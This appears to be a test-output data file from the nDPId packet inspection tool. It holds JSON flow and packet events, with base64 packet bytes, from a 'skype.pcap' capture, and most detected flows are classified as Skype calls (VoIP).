+00424{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0XMQAAEARBHrAqAEiQAQXrTLdnFEAIKzLnEACNoZuauEq3ADhWmqb7oTzdlIdyJ9N"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":844,"source":"skype.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":845,"source":"skype.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.153","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443897,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7lioAAEARmezAqAEinTfrmTLdnFcAJ4lunEIC66wPUwGEAyW45bIdeHP6QiT0x60Zbz70ciSKMQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":845,"source":"skype.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.153","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":846,"source":"skype.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443922,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA180cAAEARCDTAqAEib91NlTLdnF4AIdImnEQCEhW3FidGQ7GJtk\/GLqF7d8vgcOXTwQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":846,"source":"skype.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":134,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":574373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiGdN4KZwKgBIpxFw4bvEzbne1pKoqASOJB0cwAAAgQFrAQCCApOtNyOPiMELQEDAwk="} +00424{"flow_id":134,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":574496,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MLVAAEAGKHTAqAEinTeCmcOGnEV7Wkqi7xM26IAQECzLGgAAAQEICj4jBLBOtNyO"} +00576{"flow_id":134,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":575107,"pkt_caplen":172,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":172,"pkt_l4_len":138,"pkt":"0NQSxnP1PBXCt3IOCABFAACeCKhAAEAGUBfAqAEinTeCmcOGnEV7Wkqi7xM26IAYECzq0wAAAQEICj4jBLBOtNyOAWZkzughlCNCvXtxaSBC7JDDHESH2Je\/F\/dAa\/dGMFUSCfM7GfI9QD7EeE1HvoXmVLVi66CRjiesLXojeIkm3wSlkltQgb6XXB2qkyh5Vk+0lcLLAHHuBwwN2gPYaYa\/ZIXyO7BhHne8\/Q=="} +00436{"flow_id":133,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":591508,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsCidNziSwKgBIpxew4VPS3COS2iuEaASOJBdoQAAAgQFrAQCCApNhXEjPiMELQEDAwk="} +00424{"flow_id":133,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":591628,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA06I5AAEAGuqHAqAEinTc4ksOFnF5LaK4RT0twj4AQECy0NwAAAQEICj4jBMFNhXEj"} +00564{"flow_id":133,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":852,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":592179,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"0NQSxnP1PBXCt3IOCABFAACY4mBAAEAGwGvAqAEinTc4ksOFnF5LaK4RT0twj4AYECy14AAAAQEICj4jBMFNhXEjjcGKM44IcwOKkvNSVGBoHOKeUAHavNsjRbS6QmRN2lH3wk76zOhfOGSe9VuWwt6qt\/w9SrPImfZvVLVi66CRjiesLXojeIkm3wSlkltQgb6XXB2qkyh5Vk+0lcLLAHHuBwwN2g=="} +00424{"flow_id":134,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":705551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA06kZAADcGd+KdN4KZwKgBIpxFw4bvEzboe1pLDIAQAB3angAAAQEICk603K8+IwSw"} +00560{"flow_id":134,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":705557,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"PBXCt3IO0NQSxnP1CABFAACV6kdAADcGd4CdN4KZwKgBIpxFw4bvEzboe1pLDIAYAB2FLgAAAQEICk603K8+IwSwAkLW0AouxS90QzAtn2GREgnFqPMBrYH3+pRqMCbtdxTEzuleXWVlyCn2e0EXyDqM29ABPhfcnSoTqPnWzzQVQkuA8W6HjI1ag1jpBj\/kBXK7MOGe9zx9ivMI2TavlPWiKw=="} +00424{"flow_id":134,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":705753,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0kHNAAEAGyLXAqAEinTeCmcOGnEV7WksM7xM3SYAQECjJrwAAAQEICj4jBTNOtNyv"} +00436{"flow_id":134,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":706287,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FpFAAEAGQpDAqAEinTeCmcOGnEV7WksM7xM3SYAYECg5LwAAAQEICj4jBTNOtNyvZO1SW4ugTYc="} +00424{"flow_id":133,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":736852,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0AcdAADMGrmmdNziSwKgBIpxew4VPS3CPS2iudYAQAB3DvQAAAQEICk2FcUg+IwTB"} +00520{"flow_id":133,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":741149,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"PBXCt3IO0NQSxnP1CABFAAB5AchAADMGriOdNziSwKgBIpxew4VPS3CPS2iudYAYAB02bQAAAQEICk2FcUk+IwTBCykz8YybSIKDCc1itz4\/8SxGzYnwkfMzgCbe4Lzb0LQydJRRMjtR5C8mZXvWJngp9m9UtWLroJGOJ6wteiN4iSbfBKWS"} +00424{"flow_id":133,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":741271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0UpNAAEAGUJ3AqAEinTc4ksOFnF5LaK51T0tw1IAQECmy1gAAAQEICj4jBVZNhXFJ"} +00436{"flow_id":135,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":741582,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGyOVv3UovwKgBIpxew4ef2YLStJoE9qASOJBoyQAAAgQFrAQCCApNhV7NPiMELQEDAwk="} +00424{"flow_id":135,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":741637,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0gCZAAEAGPsfAqAEib91KL8OHnF60mgT2n9mC04AQECy+ygAAAQEICj4jBVZNhV7N"} +00436{"flow_id":133,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":741818,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uVxAAEAG6cvAqAEinTc4ksOFnF5LaK51T0tw1IAYECnvLwAAAQEICj4jBVZNhXFJby9fpLXtPtU="} +00563{"flow_id":135,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":742341,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"0NQSxnP1PBXCt3IOCABFAACYfiNAAEAGQGbAqAEib91KL8OHnF60mgT2n9mC04AYECyKzgAAAQEICj4jBVdNhV7NEKVIytY6Re6hcJje6jy8rY7TYJq9jnt022HVyJXk6491jFQjaXdvbAPCOBalIxCcflcc3WpT6DkWD3RVgovAMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv1DXiayARDqcsrQ=="} +00437{"flow_id":113,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":992676,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QZlAAEAGF3vAqAEinTeCpsOBnFXYqqIiVqVnNYAYEClJeAAAAQEICj4jBlFOrGolRtJrmlCDoq4="} +00423{"flow_id":135,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":37522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA03cVAADYG6ydv3UovwKgBIpxew4ef2YLTtJoFWoAQAB3OKgAAAQEICk2FXxc+IwVX"} +00494{"flow_id":135,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":867,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":37784,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"PBXCt3IO0NQSxnP1CABFAABm3cZAADYG6vRv3UovwKgBIpxew4ef2YLTtJoFWoAYAB0DHgAAAQEICk2FXxc+IwVXga714v5PzUVQJso8s5dR4OoWGQIW4yrQwryqtPiBfWPy\/xosMK+MiS1yXZgkUEhjfYo="} +00423{"flow_id":135,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":37838,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0k4ZAAEAGK2fAqAEib91KL8OHnF60mgVan9mDBYAQECq8xQAAAQEICj4jBn1NhV8X"} +00435{"flow_id":135,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":38380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86FxAAEAG1ojAqAEib91KL8OHnF60mgVan9mDBYAYECql7wAAAQEICj4jBn1NhV8Xx9YMHiFnIWo="} +00436{"flow_id":134,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":235943,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8AKVAAEAGWHzAqAEinTeCmcOGnEV7WksM7xM3SYAYECg3HwAAAQEICj4jB0NOtNyvZO1SW4ugTYc="} +00436{"flow_id":133,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":316206,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8HghAAEAGhSDAqAEinTc4ksOFnF5LaK51T0tw1IAYECns8gAAAQEICj4jB5NNhXFJby9fpLXtPtU="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":872,"source":"skype.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":872,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":456524,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBxa4AAEAR02nAqAEinTeCkjLdnFoALfPInEYCTMX9D0zWqHZlar9rRJ4nLA7eV\/fFhp0UOFHwVjJRpWMfLA=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":872,"source":"skype.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":456591,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Y3RAAEAGjA7AqAEi1cezr8NznFXnJeUAbf1jqoARECpPPQAAAQEICj4jCB9O2zle"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":874,"source":"skype.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":456592,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9FOcAAEARGqjAqAEi1cezjzLdnFYAKftynEgChXSqdM1qvdY\/tcyUx+hTJaaUvSW+LNUHctwmtBhJ"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":874,"source":"skype.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":71,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":456592,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0A1lAAEAG7CnAqAEi1cezr8N3Abvoukr36jj3F4ARECxxEQAAAQEICj4jCB9O2zrq"} +00436{"flow_id":87,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969674,"pkt_ts_usec":534411,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8orZAAEAGtlzAqAEinTeCp8N8nF+W1hdKgdGcA4AYECkghwAAAQEICj4jCGxOq7X7zDi7upn8y1s="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":878,"source":"skype.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1431969675055,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":50056,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":55729,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAteJAAEAG7UHAqAEinTc4ksOIAbsXgt4IAAAAALAC\/\/+cAgAAAgQFtAEDAwUBAQgKPiMKdQAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":879,"source":"skype.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1431969675055,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.153","src_port":50057,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":55919,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAQxNAAEAGFgrAqAEinTeCmcOJAbvJCUUsAAAAALAC\/\/85TwAAAgQFtAEDAwUBAQgKPiMKdQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":880,"source":"skype.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1431969675056,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50058,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":56059,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWxNAAEAGY87AqAEib91KL8OKAbuRyk0GAAAAALAC\/\/\/OdwAAAgQFtAEDAwUBAQgKPiMKdQAAAAAEAgAA"} +00436{"flow_id":134,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":92713,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8V6pAAEAGAXfAqAEinTeCmcOGnEV7WksM7xM3SYAYECgzyAAAAQEICj4jCppOtNyvZO1SW4ugTYc="} +00467{"flow_id":122,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":157906,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSeE5AAEAG4K\/AqAEinTeCpsODAbsS3ITHvVXOp4AYECxi1wAAAQEICj4jCttOrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00436{"flow_id":142,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":186208,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiGdN4KZwKgBIgG7w4mX7uJ3yQlFLaASOJBqegAAAgQFrAQCCApOtN4hPiMKdQEDAwk="} 